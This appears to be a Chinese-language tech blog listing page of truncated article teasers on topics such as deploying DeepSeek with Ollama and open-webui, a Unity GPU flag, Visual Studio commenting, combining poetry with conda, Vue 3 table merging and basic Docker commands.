文章目录 DeepSeek介绍公司背景核心技术产品与服务应用场景优势与特点访问与体验各个DeepSeek-R系列模型的硬件需求和适用场景 Ollama主要特点优势应用场景安装和使用配置环境变量总结 安装open-webui下载和安装docker desktop配置镜像源安装open-webui运行和使用 RagFlow介绍主…...
Unity 命令行设置运行在指定的显卡上
设置运行在指定的显卡上 -force-device-index...
Visual Studio 使用 “Ctrl + /”键设置注释和取消注释
问题:在默认的Visual Studio中,选择单行代码后,按下Ctrl /键会将代码注释掉,但再次按下Ctrl /键时,会进行双重注释,这不是我们想要的。 实现效果:当按下Ctrl /键会将代码注释掉,…...
共用poetry和conda的方法
起因 基于开源项目继续开发,发现该项目使用poetry管理依赖,但本地开发及调试环境依赖conda且未安装原生python,不支持直接安装poetry,因此需要使用conda安装及使用poetry。操作系统:Ubuntu 什么是poetry 一项依赖于…...
教程:使用 Vue 3 和 arco 实现表格合并
1. 功能概述 本教程将介绍如何使用 Vue 3 和 arco 组件库实现表格合并功能。具体来说,我们会根据表格数据中的某个字段(如 type)对表格的某一列(如入库类型列)进行合并,同时将质检说明列合并为一列。 2. …...
Docker 常用命令基础详解(二)
四、容器操作命令 4.1 运行容器 使用docker run命令可以创建并运行一个容器,它就像是一个神奇的 “启动器”,让镜像中的应用程序在容器中运行起来。其基本语法为: docker run [OPTIONS] IMAGE [COMMAND] [ARG...] 其中,OPTIONS…...
